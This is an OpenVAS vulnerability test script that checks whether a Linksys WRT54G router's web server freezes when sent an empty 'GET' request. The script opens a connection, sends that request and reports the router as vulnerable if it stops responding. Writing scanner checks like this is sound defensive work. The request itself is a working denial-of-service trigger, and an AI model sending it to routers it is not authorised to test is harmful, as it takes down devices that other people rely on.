Linksys WRT54G DoS

# OpenVAS Vulnerability Test
# $Id: linksys_empty_GET_DoS.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: Linksys WRT54G DoS
#
# Authors:
# Michel Arboi <[email protected]>
#
# Copyright:
# Copyright (C) 2003 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "It is possible to freeze the remote web server by
sending an empty GET request. 
This is know to affect Linksys WRT54G routers.";

tag_solution = "Upgrade your firmware.";

# References:
# http://www.zone-h.org/en/advisories/read/id=3523/
#
# I wonder if this script is useful: the router is probably already dead.

if(description)
{
 script_id(11941);
 script_version("$Revision: 8023 $");
 script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
 script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
 script_tag(name:"cvss_base", value:"10.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
 
 name = "Linksys WRT54G DoS";
 script_name(name);
 

 
 script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_vul");
 
 
 script_copyright("This script is Copyright (C) 2003 Michel Arboi");
 family = "Denial of Service";
 script_family(family);
 script_dependencies("find_service.nasl");
 script_require_ports("Services/www", 80);
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

#
include("http_func.inc");

port = get_http_port(default:80);

if(! get_port_state(port)) exit(0);

if (http_is_dead(port: port)) exit(0);

soc = http_open_socket(port);
if ( ! port ) exit(0);

req = 'GET\r\n';
send(socket:soc, data: req);
http_recv(socket: soc);
http_close_socket(soc);

if (http_is_dead(port: port,retry:4)) security_message(port);